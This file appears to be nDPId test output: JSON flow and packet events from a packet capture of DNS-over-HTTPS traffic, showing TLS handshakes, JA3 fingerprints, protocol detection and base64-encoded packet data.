+00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":390,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":946739385216,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.28.0.106","src_port":39214,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00802{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":216755,"pkt_caplen":337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":337,"pkt_l4_len":303,"pkt":"REREREREZmZmZmZmCABFAAFDj7xAAH4GQrYKAAABaBwAapkuAbuxqh8KTGGTY1AYAfYqeAAAFgMBARYBAAESAwMGpOiD7bGSBZJpQPwx8jjTz98dXRQiG2dJooZruAvSbiD6XuSv8nbXMIfp9OgUL1wdFi5SuPi3kly1rdyONGuyoAAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACjAAAAEgAQAAANZG9oLmNyeXB0by5zeAAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACCocx\/g1t9BSq0aHoBq6EokYegQUNndj200eG6GOsFbfA=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":390,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":946739385216,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.28.0.106","src_port":39214,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.crypto.sx","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02388{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":246047,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXU\/OxAADcGF\/VoHABqCgAAAQG7mS5MYZNjsaogJVAQAEIzqQAAFgMDAHoCAAB2AwOeWrg8chGRKGTlO6HJ1p62TG+C+NnG3SsfyKZ3JDWszSD6XuSv8nbXMIfp9OgUL1wdFi5SuPi3kly1rdyONGuyoBMBAAAuADMAJAAdACBCHrrBrdBjTxY914LUzlqx\/FQ6u0oPg+tIKo8Yp0xoIwArAAIDBBQDAwABARcDAwk65sXHo5FyUtAiAM03V5kAW3+LXGLR2yplHW327Ar7lBVn+cWyqRXyVDveXS6Tg0vk7DEhWyy4Lki1hEqLM5o32Zp445RQDsbrctFBNFcOMJmryYHv6cTI1ALBX4o3m7ShqxgiNr648SOfRyoVsKr13ok5Co8m3yWWjvTT7U22a\/V25Yf1TTU5ZX3C3nLhUlp8F4S6K70cvraldnw\/uD6FRUq1lAFYY+RdFtBona62R3kW3zAEmLHlxjwypAF3Ed8HpEUN3N6Hh8WR8FPduTTrU1rGJcfthDCSePngGTmyI7kai\/r2bxnw0X75rGWPasNSz\/szhNdRWEo0KOZIuIIBBW21rDG1KEO\/5TMjvtncyk4jgN5jajgEgs3G7B7IN47mqI9K2FWa09ZHw5D9ghGF6WusPDND4+h9gRzFYMTRQAs+YDOQfRoqmeDcHvQas+1JnEYjeG1g+nCoph2J1xKskq4pSu\/4\/GnANXkQNNVNHjjq8pJ5wm6ibeZE1gq6PVr0nZRMBq7E5\/av8PC0+acRxKixaAa33wWyU6SeZcL1kZkunKDWXWcdvdQy51Xenyz43fec7O\/+7mHHRsySVytdXjgD0ZKChXJn+AmwQrC7OY5cEE84MSyXQywUeiGMZz6HP3Gxw+6pQWrQZTjvM2lPibOGlOclGV30N96QQ95Wm7tUJbwgXYzy1Ap3e6BhUMIyFcI9\/pMzhGjOExmlzyT6BDYONbNyjHW2odTpZ8WjTWXt5ItMp4Qf4ciPCegZXwYLxQYwEVRpcpQCUbjq9DqojYcETIPE8pYwv+pEogBkJ36XO7ISaByslei0uwlMTDGqahxFUG9xNqF2N+uBuGm3rP1N0De6EH72L31wAMHQLr+g\/Z6vH8L0t5ZBiVyHRYWFiBaqBS7sS5CL7XIwxWU5nT4+O0vg9\/RKsE8R\/V3oTcaEyuOxZPN2ld4OexQ1VlWcqVQyk2Twbmq7OKKuOtMkJEEelQzBbVDHxrvHpN4rIHzn\/9TLkc3K+Gw0IKsO0YEfzDLQOy1LPBOrUtSvkHpTT\/9tKCeQ5oeaxAcdxjrW8Ob6O3OfTjPur4i7Dr1vbtCqdprUT3YFFMRDZ26nuYQwhC4uKvrLCR3YBND9okLFnTd\/lUt6yGc2upOIbcXBXCyaL3ONPVCFw2rLhSE+P67Rrx0pQ\/PN3BUeVHTUY5OZL2UVofmKcp3kyCsJpqyPvgqtN6sEvjlAvawn31gSxqPJMO+J4TEIN4NsQHeQPoQbqZEwJ5dggsoNl6xy1PlfH8FxBn\/\/\/Lr2eBnvYK65olzMCuvQ8qYuGMLDeKU+eAivsl062ELuv+\/dM8uhg7Eno5vDfDKFHEJLzWRw5E8iFnEoRLS95ap\/irULTPgAA0QmZ5jn1YuEDktj\/0IeFc53AUQ0iqNqf8q3TqQngAAZUKBI7Sk44RP395w1L0Eyzfl4IxdNlReV035GNhrN\/DGIe5cd9OmCUDwyYWDZ5z1ksNzw8W+uzpiwBt55f0ZJkvLbFgiMA+gkUt4hT8f5WK5dSjcjsu1hL60eqoQvBa0lWD42dAL0xAVrNk06unSiy5OJX2WBK7Q7No9ybhYFoGzDI8ZzAHGp1Xz2h+but\/3A\/uToYXT+zhFlUes\/MlMz6r15CtQUfWQhXV2DbcqYzcNr7XtwvhWwQRBQjoyEwldiUNrV4kfA5BNVrLK+IAb34EZEEXlsaVEYZdfTSkwf5mFzUW8YEGENVFtWYgvqKiwzQRm4Hnu9"} +00824{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":391,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":946739385216,"flow_last_seen":946739385246,"flow_tot_l4_data_len":1775,"flow_min_l4_data_len":303,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":887,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.28.0.106","src_port":39214,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.crypto.sx","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01836{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":246097,"pkt_caplen":1102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1102,"pkt_l4_len":1068,"pkt":"ZmZmZmZmRERERERECABFAARA\/O1AADcGGYhoHABqCgAAAQG7mS5MYZkPsaogJVAYAEL3vQAAj+eEnaAC9OtjNn9ZDhuY0QkIU8Et3SozIjmeFN3jl5ynvaSd0TNRCmKpUZKf\/fvqVCNBLPVpc+a1\/34xSlEnpJggvfLX55X87U+wFE+Gr7WzyudHjYSOPmOcexDC2hRAzeXYq1TgqVwJwEh4MCpq5hwfPH3wEyqIpcTyPqNEKua3iGoGl0jDllgnOyDy6qMtoHeGHyOqCPa7ViWWNsuvANnFYfP4DWXgq8fcNnwinGDW24misysy6Sky1Qfcgf01K751PVkPm8BzlnUWtr7bdFh8y4G4SaM7Ac3Zldy8pQDT1EbhFcuRGdsZ0naorgHPYs0SmR0Y3t6UYCsF0YOkjsdAEbpFIfyrBCBlh4z7aJh9xKrg\/5jQsdBuWbO9f+feot414m65BkfEsJNZt6q0OhiZBadbjN3fS3WVyRW59gC6+MXzyIF5Wxx4OnO6rWDTIiTViNpHvl70VUj6EIp7jtN+701iQ9XIbvLRRNs1dMLQv4llg0va54eLOiI8Tefj84dHZQatLYpsLcK1X1xgMBQvJdmlFwbKncCrUOCkGSrsZ4LVBWhcaxKoO36xnPPDV8cinSkrG\/rQoYT4tiAfTIWSqbjcWcgucf0EZWFYbi9MDrGUzUcZr82zbUhnYlEj1+aY2lv2lSt5AqGSaUKeQRwioCypPc3dHt1C72aRiX4CCSBeRj4DN2l\/vJTlcaPiDNg7t6TPWllts+Co\/OdFgVAkJAl+HIZBjiQtPGdBZH0Q8WHs19m6ieXdVdu3SXksmcJ4OArDrkVebghoJZJUEvtdYdAu0CxG32Y7Bdxe9zNMbKMIjUZThhjnA7hE+UoUNNr4aUW73torTPDm\/PasISFjUH1CHoDvjfn0IYzqO2vVaat\/SFbmMFs6UfAByhfgtTIBdM4vlalC4vJ\/3gPNzVh1u1xqYYIU6wN60WQoEexxjHdAMBBR1w+y4czMCbyPxsYOQzTZedkx2ofb\/xA+Z+8rEmaj0xb8Fyln6Nq8bsbjlAzp8F+BPhhygJC1D1SpxfIjpLhJ5pR8cCPnmFuv4Wb6pCT3F\/xJW7qpcmMvdn7rOqlw0sLhKBRfOeheFxSJrKe9iavOuolDEItae4jRrh8cRuAabSIDs\/KL9d4qTkbOnc6ryMLcKUz4QDjr3QIMIHJiOX9+2DVL5+3CGc336xPBx67NPWns3pKxWZovEglaPedBeKa1Ay9zwVrpcshhz8ZViqEZyeGf3Bhnr9gYf6a2k+91KFhxPRsj3wr6DG1ZrNf\/1DpWp8C8Eic8yqmZ7eLKXZwe+Mz2GUUCbxCXRoPG9q7XWM+v0cWz5lxW0nXaPM0vHHCL7Iqhc5wjeX5d9z5lx39pQN3jzFWZB4SuiTobndYtfC9FvqzivwC8uagzgYQI8AhesQ=="} +00507{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":249072,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoj79AAH4GQ44KAAABaBwAapkuAbuxqiAlTGGdJ1AYAfUpnQAAFAMDAAEBFwMDADU1mfBqFD8uaoHHksUqQF0WMpTshJt1M0V43sKcAkWhg0T\/LJZoQXQ8FIVxhBlb5ZxztNSQTw=="} +00537{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":249187,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+j8BAAH4GQ3cKAAABaBwAapkuAbuxqiBlTGGdJ1AYAfUpswAAFwMDAFEr\/4Kxjdy2JlHhHqoeUlzBoSChhU4AhSRE+IUjehRAWKkNfzysT+0Oa50QZXF5YPbgpgDZmub9nHv8hWg+dGd\/l6r8nkjmi0wO7m6LEwq8g1Q="} +00651{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":249370,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"REREREREZmZmZmZmCABFAADSj8FAAH4GQyIKAAABaBwAapkuAbuxqiC7TGGdJ1AYAfUqBwAAFwMDAKXWdaMuCiGL3nSong+aLncKbORk3WO+9JegqpzukyYg8TMgD0BgVb\/r0kBGkJ+9ByhczfdybV4gFhh\/6XFY8bDB+ooYkFyaUw7SCwdguWkxPM8eJdGQl5PWzSoH7LbNiZz\/WT4VGkZuBxgWcRl2o\/NFrB2ej9nvhAOS7YzwIUfWrpbsW0jWuQM7pgtLIbw2prelOGZFO7OQXC5zXv2YsiiLifu56sc="} +00527{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":249459,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3j8JAAH4GQ3wKAAABaBwAapkuAbuxqiFlTGGdJ1AYAfUprAAAFwMDAEr1sXHKMvMJzb2lc1mC+IROtuXm2Go3bzfmBmd\/sWIVbjGS+26nlOjaJCrcSFlc4DnFBJtLpoUWI2EjcBRYk55cHIftshNE0jrgZw=="} +00515{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":281084,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"ZmZmZmZmRERERERECABFAABv\/PJAADcGHVRoHABqCgAAAQG7mS5MYZ0nsaohtFAYAENh+gAAFwMDAEJzfp4khsC7V9ddzW9ozBZHiXVw1MAQdp2jlH5AZBkIHx3c3z0vMlcJ7G9+NRaVb4t23wHScPcElbyqhk0LW6lIoNg="} +00460{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":281262,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHj8NAAH4GQ6sKAAABaBwAapkuAbuxqiG0TGGdblAYAfUpfAAAFwMDABoGC7eZ3Bn1AYVney+AFF6MBuQ2UEHDwOQKRQ=="} +00909{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":300056,"pkt_caplen":411,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":411,"pkt_l4_len":377,"pkt":"ZmZmZmZmRERERERECABFAAGN\/PNAADcGHDVoHABqCgAAAQG7mS5MYZ1usaohtFAYAEP7+AAAFwMDAWAT8xZMxGH0Ve5EWS5z1vVkR9MrohhbKvGj8\/UEuSMgesbazDMrqz7QJaU2QwbofESMUFB7Rx7B\/MZwmptdEeq+y0\/PrPV5LJHZMhN70wix7f1nbvmKryhGNCFz+k6yd9dCPZTkN\/lMhw+jpUhmC2oZJ6XyJa1\/pZ8pudxLq2O3bU2vp0KkcKvjjd2glYY8+Ba7FPYA6DFBMVXND4pfNsXV0RMZA+vUXf3wSQC\/\/F8wjtAfqiBDBCFDj\/ly179p3W3Yxjl0xcdsZo\/eVgvAK2bK93MBTlP6330TnvNu93VOkqyT4Dl8IMQh3jS2vxU9rvxMnXSwy3DFl4RasZslUuDJLwoobb8pyc+UlyZgrNWGuOhzeZXOFC3zZroU3Kn1lM2R\/tmFC30p5LoMXUtNm70tT1efufm4idNhy\/47KFScW8jRaP\/eufL0aqu4MoxyO5jgTTNyofO0iMZHo+VcrSnD"} +00558{"flow_id":24,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":300555,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"REREREREZmZmZmZmCABFAACOj8RAAH4GQ2MKAAABaBwAapkuAbuxqiHTTGGe01AYAfUpwwAAFwMDAGE9nUSszN6Hj8ejdHmms9XC5Cf2c8wpyB4MnmII6QB4sYCQgWpYlXxCBCp0pJixMfW\/q6v5p7x4scFue5Wtj3\/0Bzg7RUAlC+ZQwbY1sod3RlRFhnEi1G2Gvaw7qnYRAPCG"} +00955{"flow_id":24,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":337084,"pkt_caplen":450,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":450,"pkt_l4_len":416,"pkt":"ZmZmZmZmRERERERECABFAAG0\/PZAADcGHAtoHABqCgAAAQG7mS5MYZ7TsaoiOVAYAEPQ9wAAFwMDAYd7ywRIBZXn5IFfRGQAiy7UuWBCKRUTliyh3rSOCkxQzrD2rf3dkPi1OaycVWHBNm0Thy8xRZ8aTWC9gm4JA14sSMqczev3PBFv4YQmWPB9SfBEb3IFKUAFHphxwOAdlz\/bk8bS3Zlb4IqrBAfbNK+fQ3CcaSj03i4PHCFsea4nV0CdtRgecTaFQ20\/TS9sh77asl3Wigm0TqH\/4qVzMOWNUdvzjivWHBpJbyW8hXnUzBuYw3RduH7cokpClI08r6CKxXsO6hWhpEkRwSMH8hg3AnVwdfSz+7CzTp76Oi\/sBlQMh\/OGHdgHjiA0p1dWExUf5CVWAxWrpMrnYIHkIzv5gKOHE40o+9erUgfSsvcBS\/IdLfS49Wuk+kZqcPCxj0qtuG1NVqcmHQjbf5oQ8fPHoqmYA107Dy0glGWW4ZS7TJ0dtZGzUHOZH8gnx9XDMHd+1tA5resZcVCavQOL1GKDWKsYikwnqviWF62ZKssTDUHZfj1PMLFpVuRi1yuUNKIT58z31oiN"} +00463{"flow_id":24,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":337114,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABH\/PdAADcGHXdoHABqCgAAAQG7mS5MYaBfsaoiOVAYAEMWLAAAFwMDABo\/6em8S+cskJCsgTPlQqXRsWlC4TiMQ4i7bg=="} +00604{"flow_id":24,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":337591,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"REREREREZmZmZmZmCABFAACuj8ZAAH4GQ0EKAAABaBwAapkuAbuxqiI5TGGgflAYAfUp4wAAFwMDAIEKgmKWX6YJ7EyrwW6UghlXKcoJ+dlzOTuPpcSLOsTbquE2gnNikXT6K1Wm2i1baScC4\/wKLo2OPiGC3Luvwce+I21tzmxYzD8LqsuN+\/aohVjp1coCNcS12EFOamPV40OYgKnUNYc0etOgF4dXD\/z9B5EUsK\/F0FqgOPBxG1vjLKc="} +00837{"flow_id":24,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739385,"pkt_ts_usec":379039,"pkt_caplen":359,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":359,"pkt_l4_len":325,"pkt":"ZmZmZmZmRERERERECABFAAFZ\/PhAADcGHGRoHABqCgAAAQG7mS5MYaB+saoiv1AYAEQvTQAAFwMDASwIOtnhxHgdCgQey4U19\/NOVQeoKhAjFytVdqdlNMepeyLN10r8EnEvFgwlJOqbn3jVg4D5gHhOz8YJayO69m35\/gSva3GMKU3IYEt4mRO7Og72e7CdTt7WlPpuH2yJzlDoMxqM8WIVENPl5wDi7D0LA7rWEPagJRWBBV9g7FAv1zAp4Avqs8vJrDF84dxBjJ9N0EWun0QJUwWdK7e3Get20X9+B+j\/UxjxhfG77h4DRB+zhIFQ5sPT95Rh6TYcIyIUJk0sap6MOtu+\/0pPK3fwozE\/Qw9UbZga\/69PyXill0sssG3IU4A0Iqkz\/yhwP69NxS4HELP6acm1AabWnpDspLBmF3ezb5xhszBYT37rQZYehwSV\/yqSX6InrXWao0z0iINaMnm6sjRuAgw="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":407,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":946739389936,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":52028,"dst_port":8443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00800{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739389,"pkt_ts_usec":936448,"pkt_caplen":335,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":335,"pkt_l4_len":301,"pkt":"REREREREZmZmZmZmCABFAAFBc1lAAH4GKTYKAAABLUxxH8s8IPtar+ZR\/RI3kFAYAfZgWwAAFgMBARQBAAEQAwPDKTE3gtHe4YkRucyB7lgiewe8eRdkAeXi8xQ\/UXf8siCUJYNjNKAcmo3iKZ+yKMitYiljKY339PIqZtuOYBZE7AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAChAAAAEAAOAAALZG9oLnNlYnkuaW8ABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAgBTSef\/+Gs9funZgaOAKPCcHz5qP34E4cKsNkKCajyxU="} +00828{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":407,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":946739389936,"flow_last_seen":0,"flow_tot_l4_data_len":301,"flow_min_l4_data_len":301,"flow_max_l4_data_len":301,"flow_avg_l4_data_len":301,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":52028,"dst_port":8443,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.seby.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02335{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":265010,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"ZmZmZmZmRERERERECABFAAWq7z1AAC8G9+gtTHEfCgAAASD7yzz9EjeQWq\/nalAQAfntdQAAFgMDAHoCAAB2AwOTWCXgGAu71\/Yvi6NLTHUrXueot2ESWHeiaJfdHE5RUSCUJYNjNKAcmo3iKZ+yKMitYiljKY339PIqZtuOYBZE7BMBAAAuACsAAgMEADMAJAAdACDWWloo6cinLldR+cnVD8kRD\/l0Q2+aXf\/fBY+S+WSMRRQDAwABARcDAwAkRhOnfgeD\/nNOoyXIFtppA82CTRb9QELrjIuZ4Sms6\/A\/wFXWFwMDDR5COUoGySb4hNNJ9UU6WNVu5EkkD6YuaPuXJ8CsVpFNJmnkrUN+8qnnRcWKvhiCSeJ8dFamc6FJiqYTi+y4vhj\/9CUzXrDpoIqCPPPJVzrO7TRKenUWLYob8NzsM\/dFIXxOJTiZrwtOg0PRbjHk1oNiocDmQfIuK+9XQjJXpmH6WXi1GuKS6BI\/Mhq7VeFosQzd4f6PedlOLyqUiLqOkZBu8shjDKqJBgT+asclbYKMS0So4WatuM12p1csrxpvTCnaj0btgSWvRlOtA5V89mkHs0RlWfRzITmJodp36A7TpRfkiq+5ADaJkK4PCqzM7n58+S7faojcjUVNv3TZMKR9X7THNbnF4RYlkXi+yQzERvi6AVU4qjl1T3oshQYm+0uXk6wZy\/EHFkS0kI4JdkMrhx\/QDyFE9JrZnCDaKSbgnVDXGxQ6JI3KX68rAnXlo16wEjgmYiB\/CpDOACPBUUmkRPrMxrIYGRVY5m4VHDtxxsBR+4pWd57JVtTXFf0dDyH1zJz6Z40Wrwh\/p6Qz5d2q3mQqk2qU0E2kn8++EZD8541s2A3AenqtWVuRk32zNIyJfY0yQnjyuK0juMCVOEjM4+TSdiFJcZE3rzM52S9F4fUWq+Qa6izwHy+3rJUcjKQaK3KU1ecorGHjAhe9fanpg8OhUEfZK30POLsPc9a0KJ8Bhzb\/xTp4iMokguZqwGUeiTSNyWJBScTyI9LLhhKpNOWbmn0FCwxaV5Mbt+mvTDDVs8cw9GaOZN49PQe6J7UFtKhXp+jLkt\/igfMPvVErRgHNbDWAx05yKKN5cVgAGz+obL+4ZX79sXQRNBQfrfR7W7COyUVVMPxrdFItZFJXlJ2qtiFtfv22UGoflFY2zoiK9sk9Zj+K1u+9Vmzjs+RITpDecu73geffdixXjb3urBW4FykkW7oiu0nkWHDQgL+KviHt9Tm0lU0Hzsi8YTo4OdVu\/QwCcmn\/9YMQoYmxguinCV0SqsmSoXYPpWKAlUH8vnANpkvHS7OU72AWRuphcFRa4RXp48xd9rXEW7d6pcKpL7UD\/qAcfrqs3Aq3OBcZjm\/9+CZ\/HA+ws2AIqrw+2oY4SiSGn\/cjxInZ1S7KChZFleUsKWilMt0S80n1UHIe0ozJo1YpV6O+256ILtDlEXLc4L\/\/W\/Y\/61lq\/\/f9IHao9y20WHTGbxQOKX1rXuMjgZIEMZvVKqcKW+vUa6jVq0bpPfVryu2fyy6bH4O8lkPOuhDeO5FxfnatEMjgu7F6t\/PeACLHie\/Eg2ezTBDOdT85sb1vFD3nB3c3wl9xSQGoUXMREa3dlU4yyKTsRvhF5IVHX+WZrnZEXNIyBa2yqUn\/9nlC+Nlg+hPHBSdvrZNSMA+riMftxpQlj6FTL7EYx8bKMIfPYnyZddeZmxpXN9XqWLs7KrnqynK9ZMJhVvaIAMfyuBU2fqyPpflnNhs96RaJ+FGM\/iw\/mZYOsIhH2JBIZKVlvkBCQxCbysphauFVIsTMYeZEcsoCjFB1qKXHuCceZxP4Jy7kiXMgSTdDFzzGYgYfCng1fFfHI7zfjdtWkPQ9HPe5f9egBljz+JDS6ehJP7PfY20bsjB73IKGpwaFJB2W5txeWuX9YJMSmwLmC9CvECSoWQlENl+g"} 